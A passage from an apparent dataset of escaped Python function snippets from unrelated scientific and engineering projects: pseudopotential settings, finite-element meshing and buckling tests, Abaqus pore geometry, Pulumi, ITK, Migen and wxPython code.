'Zr': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\\n 'Nb': {'cutoff': 35, 'dual': 8, 'pseudo': '031PAW'},\\n 'Mo': {'cutoff': 35, 'dual': 4, 'pseudo': 'SG15'},\\n 'Tc': {'cutoff': 30, 'dual': 4, 'pseudo': 'SG15'},\\n 'Ru': {'cutoff': 40, 'dual': 4, 'pseudo': 'SG15'},\\n 'Rh': {'cutoff': 45, 'dual': 8, 'pseudo': '100PAW'},\\n 'Pd': {'cutoff': 55, 'dual': 8, 'pseudo': '100PAW'},\\n 'Ag': {'cutoff': 35, 'dual': 8, 'pseudo': 'GBRV-1.4'},\\n 'Cd': {'cutoff': 40, 'dual': 8, 'pseudo': '031US'},\\n 'In': {'cutoff': 35, 'dual': 8, 'pseudo': '031US'},\\n 'Sn': {'cutoff': 35, 'dual': 8, 'pseudo': 'GBRV-1.2'},\\n 'Sb': {'cutoff': 40, 'dual': 8, 'pseudo': 'GBRV-1.4'},\\n 'Te': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\\n 'I': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\\n 'Xe': {'cutoff': 120, 'dual': 8, 'pseudo': '100US'},\\n 'Cs': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\\n 'Ba': {'cutoff': 40, 'dual': 4, 'pseudo': 'SG15'},\\n 'Hf': {'cutoff': 35, 'dual': 8, 'pseudo': '031US'},\\n 'Ta': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\\n 'W': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\\n 'Re': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\\n 'Os': {'cutoff': 35, 'dual': 8, 'pseudo': 'GBRV-1.2'},\\n 'Ir': {'cutoff': 40, 'dual': 8, 'pseudo': 'GBRV-1.2'},\\n 'Pt': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.4'},\\n 'Au': {'cutoff': 45, 'dual': 4, 'pseudo': 'SG15'},\\n 'Hg': {'cutoff': 30, 'dual': 8, 'pseudo': 'GBRV-1.2'},\\n 'Tl': {'cutoff': 30, 'dual': 8, 'pseudo': '031US'},\\n 'Pb': {'cutoff': 40, 'dual': 8, 'pseudo': '031PAW'},\\n 'Bi': {'cutoff': 35, 'dual': 8, 'pseudo': '031PAW'},\\n 'Po': {'cutoff': 45, 'dual': 8, 'pseudo': '100US'},\\n 'Rn': {'cutoff': 45, 'dual': 8, 'pseudo': '100US'},\\n 'La': {'cutoff': 55, 'dual': 8, 'pseudo': 'Wentzcovitch'},\\n 'Ce': {'cutoff': 45, 'dual': 8, 'pseudo': 'Wentzcovitch'},\\n 'Pr': {'cutoff': 50, 'dual': 8, 'pseudo': 'Wentzcovitch'},\\n 'Nd': {'cutoff': 40, 'dual': 8, 'pseudo': 'Wentzcovitch'},\\n 'Sm': {'cutoff': 40, 'dual': 8, 'pseudo': 'Wentzcovitch'},\\n 'Eu': {'cutoff': 55, 'dual': 8, 'pseudo': 'Wentzcovitch'},\\n 'Tb': {'cutoff': 40, 'dual': 8, 'pseudo': 'Wentzcovitch'},\\n 'Dy': {'cutoff': 40, 'dual': 8, 'pseudo': 'Wentzcovitch'},\\n 'Ho': {'cutoff': 40, 'dual': 8, 'pseudo': 'Wentzcovitch'},\\n 'Er': {'cutoff': 40, 'dual': 8, 'pseudo': 'Wentzcovitch'},\\n 'Tm': {'cutoff': 40, 'dual': 8, 'pseudo': 'Wentzcovitch'},\\n 'Yb': {'cutoff': 40, 'dual': 8, 'pseudo': 'Wentzcovitch'},\\n 'Lu': {'cutoff': 45, 'dual': 8, 'pseudo': 'Wentzcovitch'},\\n }\\n }\",\n \"def New(*args, **kargs):\\n obj = itkEdgePotentialImageFilterICVF33ID3.__New_orig__()\\n import itkTemplate\\n itkTemplate.New(obj, *args, **kargs)\\n return obj\",\n \"def __init__(__self__, *,\\n desktop_type: pulumi.Input[str],\\n image_id: pulumi.Input[str],\\n root_disk_size_gib: pulumi.Input[int],\\n user_disk_size_gibs: pulumi.Input[Sequence[pulumi.Input[int]]],\\n bundle_name: Optional[pulumi.Input[str]] = None,\\n description: Optional[pulumi.Input[str]] = None,\\n language: Optional[pulumi.Input[str]] = None,\\n root_disk_performance_level: Optional[pulumi.Input[str]] = None,\\n user_disk_performance_level: Optional[pulumi.Input[str]] = None):\\n pulumi.set(__self__, \\\"desktop_type\\\", desktop_type)\\n pulumi.set(__self__, \\\"image_id\\\", image_id)\\n pulumi.set(__self__, \\\"root_disk_size_gib\\\", root_disk_size_gib)\\n pulumi.set(__self__, \\\"user_disk_size_gibs\\\", user_disk_size_gibs)\\n if bundle_name is not None:\\n pulumi.set(__self__, \\\"bundle_name\\\", bundle_name)\\n if description is not None:\\n pulumi.set(__self__, \\\"description\\\", description)\\n if language is not None:\\n pulumi.set(__self__, \\\"language\\\", language)\\n if root_disk_performance_level is not None:\\n pulumi.set(__self__, \\\"root_disk_performance_level\\\", root_disk_performance_level)\\n if user_disk_performance_level is not None:\\n pulumi.set(__self__, \\\"user_disk_performance_level\\\", user_disk_performance_level)\",\n \"def create_3d_patch(model,orgin,size,N,setname='default'):\\n \\n N = map(int,N)\\n # create the coordinates and connectivity based on one\\n bxyz,bcube = block3d(orgin,size,N)\\n \\n # add node to model starting with current highest node seq\\n nn = int(model.node(bxyz))\\n update_bcube = bcube + int(nn)\\n \\n pelemset = model.element(update_bcube,setname)\\n \\n \\n nx = N[0] + 1\\n ny = N[1] + 1\\n nz = N[2] + 1\\n \\n \\n nodeline = {}\\n\\n nodeline['1'] = [nn + 1]\\n nodeline['2'] = [nn + 1 + ny*nz*(nx-1)]\\n nodeline['3'] = [nn + 1 + ny*nz*(nx-1) + (ny-1)*nz]\\n nodeline['4'] = [nn + 1 + nz*(ny-1)]\\n nodeline['5'] = [nodeline['1'][0] + (nz-1)]\\n nodeline['6'] = [nodeline['2'][0] + (nz-1)]\\n nodeline['7'] = [nodeline['3'][0] + (nz-1)]\\n nodeline['8'] = [nodeline['4'][0] + (nz-1)]\\n \\n nodeline['1-2'] = range(nodeline['1'][0],nodeline['2'][0]+1,ny*nz)\\n nodeline['2-3'] = range(nodeline['2'][0],nodeline['3'][0]+1,nz)\\n nodeline['3-4'] = range(nodeline['4'][0],nodeline['3'][0]+1,ny*nz)\\n nodeline['1-4'] = range(nodeline['1'][0],nodeline['4'][0]+1,nz)\\n\\n nodeline['5-6'] = range(nodeline['5'][0],nodeline['6'][0]+1,ny*nz)\\n nodeline['6-7'] = range(nodeline['6'][0],nodeline['7'][0]+1,nz)\\n nodeline['7-8'] = range(nodeline['8'][0],nodeline['7'][0]+1,ny*nz)\\n nodeline['5-8'] = range(nodeline['5'][0],nodeline['8'][0]+1,nz)\\n \\n nodeline['1-5'] = range(nodeline['1'][0],nodeline['5'][0]+1,1)\\n nodeline['4-8'] = range(nodeline['4'][0],nodeline['8'][0]+1,1)\\n nodeline['2-6'] = range(nodeline['2'][0],nodeline['6'][0]+1,1)\\n nodeline['3-7'] = range(nodeline['3'][0],nodeline['7'][0]+1,1)\\n \\n nodeline['1-2-3-4'] = []\\n nodeline['5-6-7-8'] = []\\n nodeline['1-2-6-5'] = []\\n nodeline['4-3-7-8'] = []\\n nodeline['1-4-8-5'] = []\\n nodeline['2-3-7-6'] = []\\n \\n for i in range(0,nx):\\n for j in nodeline['1-4']:\\n nodeline['1-2-3-4'].append(j + i*ny*nz)\\n for j in nodeline['5-8']:\\n nodeline['5-6-7-8'].append(j + i*ny*nz) \\n \\n for j in nodeline['1-5']:\\n nodeline['1-2-6-5'].append(j + i*ny*nz) \\n for j in nodeline['4-8']:\\n nodeline['4-3-7-8'].append(j + i*ny*nz)\\n \\n for i in range(0,ny):\\n for j in nodeline['1-5']:\\n nodeline['1-4-8-5'].append(j + i*nz)\\n for j in nodeline['2-6']:\\n nodeline['2-3-7-6'].append(j + i*nz)\\n #\\n for key in nodeline:\\n nodesetname = '-'.join([setname , key])\\n model.nodeset(nodesetname,{'nodelist':nodeline[key]})\\n\\n return model\",\n \"def New(*args, **kargs):\\n obj = itkMeshSourcePSD3.__New_orig__()\\n import itkTemplate\\n itkTemplate.New(obj, *args, **kargs)\\n return obj\",\n \"def sketch_und_part(self):\\n if (self.dimension == '3D'):\\n #Sketch Wuerfel zeichnen\\n self.sketch_Wuerfel = self.model.ConstrainedSketch(\\n name='Seitenansicht_Wuerfel',\\n sheetSize=200.0)\\n self.sketch_Wuerfel.rectangle(\\n point1=(-self.laenge_x/2.0, -self.laenge_y/2.0),\\n point2=(self.laenge_x/2.0, self.laenge_y/2.0))\\n #Part Wuerfel generieren\\n self.part_Wuerfel = self.model.Part(\\n name=self.name+'_Wuerfel',\\n dimensionality=THREE_D,\\n type=DEFORMABLE_BODY)\\n self.part_Wuerfel.BaseSolidExtrude(\\n sketch=self.sketch_Wuerfel,\\n depth=self.laenge_z/2.0) #z-Symmetrie\\n #Sketch Pore zeichnen (fuer Quader und Zylinder)\\n self.sketch_Pore = self.model.ConstrainedSketch(\\n name='Seitenansicht_Pore',\\n sheetSize=200.0)\\n if (self.typ_Pore == 'Quader'):\\n self.sketch_Pore.rectangle(\\n point1=(-self.porenparameter_x/2.0, -self.porenparameter_y/2.0),\\n point2=(self.porenparameter_x/2.0, self.porenparameter_y/2.0))\\n elif (self.typ_Pore == 'Zylinder'):\\n self.sketch_Pore.EllipseByCenterPerimeter(\\n center=(0.0, 0.0),\\n axisPoint1=(self.porenparameter_x/2.0, 0.0),\\n axisPoint2=(0.0, self.porenparameter_y/2.0))\\n elif (self.typ_Pore == 'Ellipsoid' ):\\n matlab.ellipsoidIgesOut(\\n self.porenparameter_x,\\n self.porenparameter_y,\\n self.porenparameter_z,\\n 'Ellipsoid')\\n # if (self.porenparameter_x == self.porenparameter_z):\\n # self.sketch_Pore.ConstructionLine(\\n # point1=(0.0, -100.0),\\n # point2=(0.0, 100.0))\\n # self.sketch_Pore.EllipseByCenterPerimeter(\\n # center=(0.0, 0.0),\\n # axisPoint1=(self.porenparameter_x/2.0, 0.0),\\n # axisPoint2=(0.0, self.porenparameter_y/2.0))\\n # self.sketch_Pore.autoTrimCurve(\\n # curve1=self.sketch_Pore.geometry[3],\\n # point1=(-self.porenparameter_x/2.0, 0.0))\\n # self.sketch_Pore.Line(\\n # point1=(0.0, self.porenparameter_y/2.0),\\n # point2=(0.0, -self.porenparameter_y/2.0))\\n else:\\n print('typ_Pore Error!')\\n #Part Pore generieren\\n if (self.typ_Pore == 'Ellipsoid' ):\\n # if (self.porenparameter_x == self.porenparameter_z):\\n # self.part_Pore.BaseSolidRevolve(\\n # sketch=self.sketch_Pore,\\n # angle=360.0,\\n # flipRevolveDirection=OFF)\\n self.iges_Datei = mdb.openIges(\\n 'Ellipsoid.igs',\\n msbo=False,\\n trimCurve=DEFAULT,\\n scaleFromFile=OFF)\\n self.model.PartFromGeometryFile(\\n name=self.name+'_Pore',\\n geometryFile=self.iges_Datei,\\n combine=False,\\n stitchTolerance=1.0,\\n dimensionality=THREE_D,\\n type=DEFORMABLE_BODY,\\n convertToAnalytical=1,\\n stitchEdges=1,\\n scale=1) # Skalierung\\n self.part_Pore = self.model.parts[self.name+'_Pore']\\n self.part_Pore.AddCells(\\n faceList = self.part_Pore.faces,\\n flipped=False)\\n del self.iges_Datei\\n os.remove('abaqus_read_iges0.log') #Arbeitsordner aufraeumen\\n os.remove('temp-Ellipsoid-new.sat')\\n os.remove('Ellipsoid.igs')\\n elif (self.typ_Pore == 'Quader' or 'Zylinder'):\\n self.part_Pore = self.model.Part(\\n name=self.name+'_Pore',\\n dimensionality=THREE_D,\\n type=DEFORMABLE_BODY)\\n self.part_Pore.BaseSolidExtrude(\\n sketch=self.sketch_Pore,\\n depth=self.porenparameter_z)\\n #Assemble\\n self.assembly = self.model.rootAssembly\\n self.assembly.DatumCsysByDefault(CARTESIAN)\\n self.assembly.Instance(\\n name=self.name+'_Pore',\\n part=self.part_Pore,\\n dependent=ON)\\n self.assembly.Instance(\\n name=self.name+'_Wuerfel',\\n part=self.part_Wuerfel,\\n dependent=ON)\\n #Translation\\n self.assembly.translate(\\n instanceList=(self.name+'_Wuerfel', ),\\n vector=(0.0, 0.0, -self.laenge_z/2.0))\\n if (self.typ_Pore == 'Ellipsoid'):\\n self.assembly.translate(\\n instanceList=(self.name+'_Pore', ),\\n vector=(0.0, 0.0, 0.0))\\n elif (self.typ_Pore == 'Quader' or 'Zylinder'):\\n self.assembly.translate(\\n instanceList=(self.name+'_Pore', ),\\n vector=(0.0, 0.0, -self.porenparameter_z/2.0))\\n #Rotation\\n self.assembly.rotate(\\n instanceList=(self.name+'_Pore', ),\\n axisPoint=(0.0, 0.0, 0.0),\\n axisDirection=(1.0, 0.0, 0.0),\\n angle=self.porenparameter_rx)\\n self.assembly.rotate(\\n instanceList=(self.name+'_Pore', ),\\n axisPoint=(0.0, 0.0, 0.0),\\n axisDirection=(0.0, 1.0, 0.0),\\n angle=self.porenparameter_ry)\\n self.assembly.rotate(\\n instanceList=(self.name+'_Pore', ),\\n axisPoint=(0.0, 0.0, 0.0),\\n axisDirection=(0.0, 0.0,1.0),\\n angle=self.porenparameter_rz)\\n #Schneiden\\n self.assembly.InstanceFromBooleanCut(\\n name='RVE',\\n instanceToBeCut=self.assembly.instances[self.name+'_Wuerfel'],\\n cuttingInstances=(self.assembly.instances[self.name+'_Pore'], ),\\n originalInstances=SUPPRESS)\\n self.assembly.deleteFeatures((self.name+'_Wuerfel', self.name+'_Pore', ))\\n # del self.model.parts[self.name+'_Wuerfel']\\n # del self.model.parts[self.name+'_Pore']\\n self.part_RVE = self.model.parts[self.name]\\n elif (self.dimension == '2D'):\\n #Sketch Wuerfel zeichnen\\n self.sketch_Wuerfel = self.model.ConstrainedSketch(\\n name='Seitenansicht_Wuerfel',\\n sheetSize=200.0)\\n self.sketch_Wuerfel.rectangle(\\n point1=(0.0, 0.0),\\n point2=(self.laenge_x/2.0, self.laenge_y/2.0)) #x- und y-Symmetrie\\n #Part Wuerfel generieren\\n self.part_Wuerfel = self.model.Part(\\n name=self.name+'_Wuerfel',\\n dimensionality=TWO_D_PLANAR,\\n type=DEFORMABLE_BODY)\\n self.part_Wuerfel.BaseShell(sketch=self.sketch_Wuerfel)\\n #Sketch Pore zeichnen\\n self.sketch_Pore = self.model.ConstrainedSketch(\\n name='Seitenansicht_Pore',\\n sheetSize=200.0)\\n if (self.typ_Pore == 'Ellipsoid'):\\n self.sketch_Pore.ConstructionLine(\\n point1=(0.0, -100.0),\\n point2=(0.0, 100.0))\\n self.sketch_Pore.EllipseByCenterPerimeter(\\n center=(0.0, 0.0),\\n axisPoint1=(self.porenparameter_x/2.0, 0.0),\\n axisPoint2=(0.0, self.porenparameter_y/2.0))\\n self.sketch_Pore.autoTrimCurve(\\n curve1=self.sketch_Pore.geometry[3],\\n point1=(-self.porenparameter_x/2.0, 0.0))\\n self.sketch_Pore.Line(\\n point1=(0.0, self.porenparameter_y/2.0),\\n point2=(0.0, -self.porenparameter_y/2.0))\\n elif (self.typ_Pore == 'Quader'):\\n self.sketch_Pore.rectangle(\\n point1=(-self.porenparameter_x/2.0, -self.porenparameter_y/2.0),\\n point2=(self.porenparameter_x/2.0, self.porenparameter_y/2.0))\\n elif (self.typ_Pore == 'Zylinder'):\\n self.sketch_Pore.EllipseByCenterPerimeter(\\n center=(0.0, 0.0),\\n axisPoint1=(self.porenparameter_x/2.0, 0.0),\\n axisPoint2=(0.0, self.porenparameter_y/2.0))\\n else:\\n print('typ_Pore Error!')\\n #Part Pore generieren\\n self.part_Pore = self.model.Part(\\n name=self.name+'_Pore',\\n dimensionality=TWO_D_PLANAR,\\n type=DEFORMABLE_BODY)\\n self.part_Pore.BaseShell(sketch=self.sketch_Pore)\\n #Assemble\\n self.assembly = self.model.rootAssembly\\n self.assembly.DatumCsysByDefault(CARTESIAN)\\n self.assembly.Instance(\\n name=self.name+'_Wuerfel',\\n part=self.part_Wuerfel,\\n dependent=ON)\\n self.assembly.Instance(\\n name=self.name+'_Pore',\\n part=self.part_Pore,\\n dependent=ON)\\n self.assembly.rotate(\\n instanceList=(self.name+'_Pore', ),\\n axisPoint=(0.0, 0.0, self.laenge_z/2.0),\\n axisDirection=(0.0, 0.0, self.laenge_z/2.0+1),\\n angle=self.porenparameter_rz)\\n self.assembly.InstanceFromBooleanCut(\\n name='RVE',\\n instanceToBeCut=self.assembly.instances[self.name+'_Wuerfel'],\\n cuttingInstances=(self.assembly.instances[self.name+'_Pore'], ),\\n originalInstances=SUPPRESS)\\n self.assembly.deleteFeatures((self.name+'_Wuerfel', self.name+'_Pore', ))\\n del self.model.parts[self.name+'_Wuerfel']\\n #del self.model.parts[self.name+'_Pore']\\n self.part_RVE = self.model.parts[self.name]\\n else:\\n print('dimension Error!')\",\n \"def Make_surface(self, par, verbose=False):\\n ## check if we are dealing with a dictionary\\n if isinstance(par, dict):\\n self.star.Make_surface(\\n q = par['q'],\\n porb = par['porb'],\\n incl = par['incl'],\\n k1 = par['k1'],\\n omega = par['omega'],\\n filling = par['filling'],\\n tempgrav = par['tempgrav'],\\n temp = par['temp'],\\n tirr = par['tirr']\\n )\\n else:\\n self.star.Make_surface(\\n q = par[0],\\n porb = par[1],\\n incl = par[2],\\n k1 = par[3],\\n omega = par[4],\\n filling = par[5],\\n tempgrav = par[6],\\n temp = par[7],\\n tirr = par[8]\\n )\\n\\n if verbose:\\n print( \\\"Content on input parameter for Make_surface\\\" )\\n print( par )\\n\\n return\",\n \"def __init__(self, pads):\\n mfioCommon.__init__(self, pads)\\n\\n mfio_width = len(pads)\\n #\\n mfio_o = Signal(mfio_width)\\n mfio_oe = Signal(mfio_width)\\n mfio_i = Signal(mfio_width)\\n # create single pin tristate buffers\\n for b in range(mfio_width):\\n self.submodules += mfioSinglePin(pads, b, mfio_i[b], mfio_o[b], mfio_oe[b]) \\t\\n\\n # Wishbone \\n self.bus = bus = wishbone.Interface()\\n\\n #\\n sel = Signal(mfio_width)\\n inbit = Signal(1)\\n\\n # todo: dynamic address width calc to optimize the decode logic\\n addr_width = 12\\n # 1024 IO max\\n seladr = Signal(10)\\n\\n # 10 bits of address = 1024 pins max\\n self.comb += seladr.eq(self.bus.adr[:10]) \\n \\n # address decoder\\n for b in range(mfio_width):\\n self.comb += sel[b].eq(seladr == b)\\n\\n self.comb += inbit.eq( (mfio_i & sel) != 0 )\\n\\n # Read bit\\n rdbus = Signal(32)\\n self.comb += [\\n rdbus[0].eq(inbit),\\n bus.dat_r.eq(rdbus)\\n ]\\t\\n\\n # process output \\n outbit = Signal(1)\\n oebit = Signal(1)\\n wren = Signal(1)\\n\\n # PINAPI 1.0 compatible: 0 = drive 0, 1 drive 1, 3 = HiZ\\n self.comb += outbit.eq( bus.dat_w[0] )\\n self.comb += oebit.eq ( ~bus.dat_w[1] )\\n\\n # write enable\\n self.comb += wren.eq(self.bus.stb & self.bus.cyc & self.bus.we) \\n\\n for b in range(mfio_width):\\n self.sync += If(wren & sel[b], mfio_o[b].eq(outbit), mfio_oe[b].eq(oebit) )\\n\\n seq = [\\n (1, [bus.ack.eq(1)]), #\\n (1, [bus.ack.eq(0)]), #\\n (0, []),\\n ]\\n \\n t, tseq = 0, []\\n for dt, a in seq:\\n tseq.append((t, a))\\n t += dt\\n\\n self.sync += timeline(bus.cyc & bus.stb, tseq)\",\n \"def test_linear_buckling_iso_CCSS(plot_static=False, plot_lb=False):\\n # number of nodes\\n nx = 5 # along x\\n ny = 5 # along y\\n\\n # getting integration points\\n nint = 4\\n points, weights = get_points_weights(nint=nint)\\n\\n # geometry\\n a = 3 # along x\\n b = 3 # along y\\n\\n # material properties\\n E = 200e9\\n nu = 0.3\\n laminaprop = (E, E, nu)\\n stack = [0]\\n h = 0.001\\n lam = read_stack(stack=stack, plyt=h, laminaprop=laminaprop)\\n\\n # creating mesh\\n x = np.linspace(0, a, nx)\\n y = np.linspace(0, b, ny)\\n xmesh, ymesh = np.meshgrid(x, y)\\n\\n # node coordinates and position in the global matrix\\n ncoords = np.vstack((xmesh.T.flatten(), ymesh.T.flatten())).T\\n nids = 1 + np.arange(ncoords.shape[0])\\n nid_pos = dict(zip(nids, np.arange(len(nids))))\\n\\n # identifying nodal connectivity for plate elements\\n # similar than Nastran's CQUAD4\\n #\\n # ^ y\\n # |\\n #\\n # 4 ________ 3\\n # | |\\n # | | --> x\\n # | |\\n # |_______|\\n # 1 2\\n\\n\\n nids_mesh = nids.reshape(nx, ny)\\n n1s = nids_mesh[:-1, :-1].flatten()\\n n2s = nids_mesh[1:, :-1].flatten()\\n n3s = nids_mesh[1:, 1:].flatten()\\n n4s = nids_mesh[:-1, 1:].flatten()\\n\\n num_elements = len(n1s)\\n print('num_elements', num_elements)\\n\\n N = DOF*nx*ny\\n Kr = np.zeros(KC0_SPARSE_SIZE*num_elements, dtype=INT)\\n Kc = np.zeros(KC0_SPARSE_SIZE*num_elements, dtype=INT)\\n Kv = np.zeros(KC0_SPARSE_SIZE*num_elements, dtype=DOUBLE)\\n KGr = np.zeros(KG_SPARSE_SIZE*num_elements, dtype=INT)\\n KGc = np.zeros(KG_SPARSE_SIZE*num_elements, dtype=INT)\\n KGv = np.zeros(KG_SPARSE_SIZE*num_elements, dtype=DOUBLE)\\n init_k_KC0 = 0\\n init_k_KG = 0\\n\\n plates = []\\n for n1, n2, n3, n4 in zip(n1s, n2s, n3s, n4s):\\n plate = BFSPlate2D()\\n plate.n1 = n1\\n plate.n2 = n2\\n plate.n3 = n3\\n plate.n4 = n4\\n plate.c1 = DOF*nid_pos[n1]\\n plate.c2 = DOF*nid_pos[n2]\\n plate.c3 = DOF*nid_pos[n3]\\n plate.c4 = DOF*nid_pos[n4]\\n plate.ABD = lam.ABD\\n plate.lex = a/(nx - 1)\\n plate.ley = b/(ny - 1)\\n plate.init_k_KC0 = init_k_KC0\\n plate.init_k_KG = init_k_KG\\n update_KC0(plate, points, weights, Kr, Kc, Kv)\\n init_k_KC0 += KC0_SPARSE_SIZE\\n init_k_KG += KG_SPARSE_SIZE\\n plates.append(plate)\\n\\n KC0 = coo_matrix((Kv, (Kr, Kc)), shape=(N, N)).tocsc()\\n\\n # applying boundary conditions\\n\\n # locating nodes\\n bk = np.zeros(KC0.shape[0], dtype=bool) # constrained DOFs, can be used to prescribe displacements\\n\\n x = ncoords[:, 0]\\n y = ncoords[:, 1]\\n\\n # applying boundary conditions\\n # simply supported\\n check = isclose(x, 0) | isclose(x, a) | isclose(y, 0) | isclose(y, b)\\n bk[2::DOF] = check\\n check = isclose(x, 0) | isclose(x, a)\\n bk[3::DOF] = check\\n # point supports\\n check = isclose(x, a/2) & (isclose(y, 0) | isclose(y, b))\\n bk[0::DOF] = check\\n check = isclose(y, b/2) & (isclose(x, 0) | isclose(x, a))\\n bk[1::DOF] = check\\n\\n # unconstrained nodes\\n bu = ~bk # logical_not\\n\\n # defining external force vector\\n fext = np.zeros(KC0.shape[0], dtype=float)\\n\\n # applying unitary load along u at x=a\\n # nodes at vertices get 1/2 the force\\n for plate in plates:\\n pos1 = nid_pos[plate.n1]\\n pos2 = nid_pos[plate.n2]\\n pos3 = nid_pos[plate.n3]\\n pos4 = nid_pos[plate.n4]\\n if isclose(x[pos3], a):\\n Nxx = -1\\n xi = +1\\n elif isclose(x[pos1], 0):\\n Nxx = +1\\n xi = -1\\n else:\\n continue\\n lex = plate.lex\\n ley = plate.ley\\n indices = []\\n c1 = DOF*pos1\\n c2 = DOF*pos2\\n c3 = DOF*pos3\\n c4 = DOF*pos4\\n cs = [c1, c2, c3, c4]\\n for ci in cs:\\n for i in range(DOF):\\n indices.append(ci + i)\\n fe = np.zeros(4*DOF, dtype=float)\\n for j in range(nint):\\n eta = points[j]\\n plate.update_Nu(xi, eta)\\n Nu = np.asarray(plate.Nu)\\n fe += ley/2*weights[j]*Nu*Nxx\\n fext[indices] += fe\\n\\n Kuu = KC0[bu, :][:, bu]\\n fextu = fext[bu]\\n\\n # static solver\\n uu = spsolve(Kuu, fextu)\\n u = np.zeros(KC0.shape[0], dtype=float)\\n u[bu] = uu\\n\\n if plot_static:\\n import matplotlib\\n matplotlib.use('TkAgg')\\n import matplotlib.pyplot as plt\\n plt.gca().set_aspect('equal')\\n uplot = u[0::DOF].reshape(nx, ny).T\\n vplot = u[1::DOF].reshape(nx, ny).T\\n print('u extremes', uplot.min(), uplot.max())\\n print('v extremes', vplot.min(), vplot.max())\\n levels = np.linspace(uplot.min(), uplot.max(), 300)\\n plt.contourf(xmesh, ymesh, uplot, levels=levels)\\n plt.colorbar()\\n plt.show()\\n\\n # eigenvalue solver\\n\\n # getting integration points\\n for plate in plates:\\n update_KG(u, plate, points, weights, KGr, KGc, KGv)\\n KG = coo_matrix((KGv, (KGr, KGc)), shape=(N, N)).tocsc()\\n KGuu = KG[bu, :][:, bu]\\n\\n # solving modified generalized eigenvalue problem\\n # Original: (KC0 + lambda*KG)*v = 0\\n # Modified: (-1/lambda)*KC0*v = KG*v #NOTE here we find (-1/lambda)\\n num_eigenvalues = 5\\n eigvals, eigvecsu = eigsh(A=KGuu, k=num_eigenvalues, which='SM', M=Kuu,\\n tol=1e-6, sigma=1., mode='cayley')\\n eigvals = -1./eigvals\\n eigvecs = np.zeros((KC0.shape[0], num_eigenvalues), dtype=float)\\n eigvecs[bu, :] = eigvecsu\\n\\n if plot_lb:\\n import matplotlib\\n matplotlib.use('TkAgg')\\n import matplotlib.pyplot as plt\\n plt.gca().set_aspect('equal')\\n mode = 0\\n wplot = eigvecs[2::DOF, mode].reshape(nx, ny).T\\n levels = np.linspace(wplot.min(), wplot.max(), 300)\\n plt.contourf(xmesh, ymesh, wplot, levels=levels)\\n plt.colorbar()\\n plt.show()\\n\\n kc = eigvals[0]/(E*np.pi**2*(h/b)**2/(12*(1 - nu**2))*h)\\n assert isclose(kc, 6.6, rtol=0.05)\",\n \"def New(*args, **kargs):\\n obj = itkScalarConnectedComponentImageFilterIUL3IUL3.__New_orig__()\\n import itkTemplate\\n itkTemplate.New(obj, *args, **kargs)\\n return obj\",\n \"def create_network_block(\\n self,\\n object_name,\\n power,\\n rjc,\\n rjb,\\n gravity_dir,\\n top,\\n assign_material=True,\\n default_material=\\\"Ceramic_material\\\",\\n use_object_for_name=True,\\n ):\\n if object_name in self.modeler.primitives.object_names:\\n faces = self.modeler.primitives.get_object_faces(object_name)\\n k = 0\\n faceCenter = {}\\n for f in faces:\\n faceCenter[f] = self.modeler.oeditor.GetFaceCenter(int(f))\\n faceCenter[f] = [round(float(i), 1) for i in faceCenter[f]]\\n k = k + 1\\n fcmax = -1e9\\n fcmin = 1e9\\n fcrjc = None\\n fcrjb = None\\n for fc in faceCenter:\\n fc1 = faceCenter[fc]\\n if fc1[gravity_dir] < fcmin:\\n fcmin = fc1[gravity_dir]\\n fcrjc = int(fc)\\n if fc1[gravity_dir] > fcmax:\\n fcmax = fc1[gravity_dir]\\n fcrjb = int(fc)\\n if fcmax < float(top):\\n app = fcrjc\\n fcrjc = fcrjb\\n fcrjb = app\\n if assign_material:\\n self.modeler.primitives[object_name].material_name = default_material\\n props = {}\\n if use_object_for_name:\\n boundary_name = object_name\\n else:\\n boundary_name = generate_unique_name(\\\"Block\\\")\\n props[\\\"Faces\\\"] = [fcrjc, fcrjb]\\n props[\\\"Nodes\\\"] = OrderedDict(\\n {\\n \\\"Face\\\" + str(fcrjc): [fcrjc, \\\"NoResistance\\\"],\\n \\\"Face\\\" + str(fcrjb): [fcrjb, \\\"NoResistance\\\"],\\n \\\"Internal\\\": [power],\\n }\\n )\\n props[\\\"Links\\\"] = OrderedDict(\\n {\\n \\\"Link1\\\": [\\\"Face\\\" + str(fcrjc), \\\"Internal\\\", \\\"R\\\", str(rjc) + \\\"cel_per_w\\\"],\\n \\\"Link2\\\": [\\\"Face\\\" + str(fcrjb), \\\"Internal\\\", \\\"R\\\", str(rjb) + \\\"cel_per_w\\\"],\\n }\\n )\\n props[\\\"SchematicData\\\"] = OrderedDict({})\\n bound = BoundaryObject(self, boundary_name, props, \\\"Network\\\")\\n if bound.create():\\n self.boundaries.append(bound)\\n self.modeler.primitives[object_name].solve_inside = False\\n return bound\\n return None\",\n \"def _create_3D_pane(self):\\n\\t\\t\\n panel = wx.Panel(self,-1)\\n self.interactor3d = wxVTKRenderWindowInteractor(panel, -1, (600,800))\\n self.generate_button = wx.Button(panel, label=\\\"Generate 3D view\\\")\\n self.text_position = wx.StaticText(panel, -1, \\\"Dose (Gy) \\\" , wx.Point(0, 0))\\n self.slider_dose3d = wx.Slider(panel, -1, 75, 60, 100, wx.DefaultPosition, wx.Size( 100,-1 ), wx.SL_HORIZONTAL)\\n self.spin_dose3d = wx.SpinCtrl(panel, wx.ID_ANY, str(self.slider_dose3d.GetValue()), wx.DefaultPosition, wx.Size( 70,-1 ), wx.SP_ARROW_KEYS, min=0, max=100, initial=11)\\t\\n\\t\\t\\n button_sizer = wx.BoxSizer(wx.HORIZONTAL)\\n button_sizer.AddSpacer(30)\\n button_sizer.Add(self.generate_button)\\n button_sizer.AddSpacer(30)\\n button_sizer.Add(self.text_position)\\n button_sizer.Add(self.slider_dose3d)\\n button_sizer.Add(self.spin_dose3d)\\n\\t\\t\\n listsizer = wx.BoxSizer(wx.VERTICAL)\\n listsizer.Add(self.interactor3d, 1, wx.EXPAND|wx.BOTTOM, 7)\\n listsizer.Add(button_sizer)\\n panel.SetSizer(listsizer)\\n listsizer.Fit(panel)\\n\\t\\t\\n self._create_orientation_widget(self.interactor3d)\\n return panel\",\n \"def New(*args, 